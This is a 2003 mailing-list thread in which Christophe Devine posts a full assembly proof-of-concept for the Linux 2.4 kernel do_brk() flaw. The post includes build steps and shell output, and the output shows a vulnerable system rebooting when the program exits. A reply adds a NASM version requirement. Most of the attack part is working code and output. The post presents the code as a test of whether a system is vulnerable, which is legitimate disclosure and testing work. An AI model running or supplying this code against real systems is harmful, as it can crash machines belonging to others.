Linux kernel do_brk() proof-of-concept exploit code

[Christophe Devine]

The following program can be used to test if a x86 Linux system
is vulnerable to the do_brk() exploit; use at your own risk.

$ nasm brk_poc.asm -o a.out
$ chmod 755 a.out

$ uname -a
Linux test3 2.4.22-10mdk #1 Thu Sep 18 12:30:58 CEST 2003 i686 unknown unknown GNU/Linux
$ ./a.out &
[1] 1698
$ cat /proc/`pidof a.out`/maps
bffff000-c0000000 rwxp 00000000 03:03 376860 /tmp/a.out
c0000000-c0003000 rwxp 00000000 00:00 0

(system reboots when the program exits)

$ uname -a
Linux test3 2.4.23 #1 Mon Dec 1 22:18:25 CET 2003 i686 unknown unknown GNU/Linux
$ ./a.out &
[1] 1591
$ cat /proc/`pidof a.out`/maps
bffff000-c0000000 rwxp 00000000 03:03 376860 /tmp/a.out

(the program exits gracefully)

$ cat brk_poc.asm

; ref.: http://www.muppetlabs.com/~breadbox/...ny/teensy.html

BITS 32

org 0xBFFFF000

ehdr: ; Elf32_Ehdr
db 0x7F, "ELF", 1, 1, 1 ; e_ident
times 9 db 0
dw 2 ; e_type
dw 3 ; e_machine
dd 1 ; e_version
dd _start ; e_entry
dd phdr - $$ ; e_phoff
dd 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 1 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx

ehdrsize equ $ - ehdr

phdr: ; Elf32_Phdr
dd 1 ; p_type
dd 0 ; p_offset
dd $$ ; p_vaddr
dd $$ ; p_paddr
dd filesize ; p_filesz
dd 0x4000 ; p_memsz
dd 7 ; p_flags
dd 0x1000 ; p_align


phdrsize equ $ - phdr

_start:

mov eax, 162
mov ebx, timespec
int 0x80

mov eax, 1
mov ebx, 0
int 0x80

timespec dd 20,0

filesize equ $ - $$

--
Christophe Devine - http://www.cr0.net:8040/about/

[Calum]

On Tuesday 02 December 2003 3:16 am, Christophe Devine wrote:

> The following program can be used to test if a x86 Linux system
> is vulnerable to the do_brk() exploit; use at your own risk.

This POC code needs nasm greater than 0.98.36, otherwise you get the following
error when trying to compile it.

exploit@womble exploit $ nasm -v
NASM version 0.98.36 compiled on Jul 17 2003
exploit@womble exploit $ nasm brk_poc.asm -o a.out
brk_poc.asm:5: error: attempt to set a negative program origin

It works with 0.98.38.

--

The early bird may get the worm, but the second mouse gets the cheese.
http://gk.umtstrial.co.uk/~calum/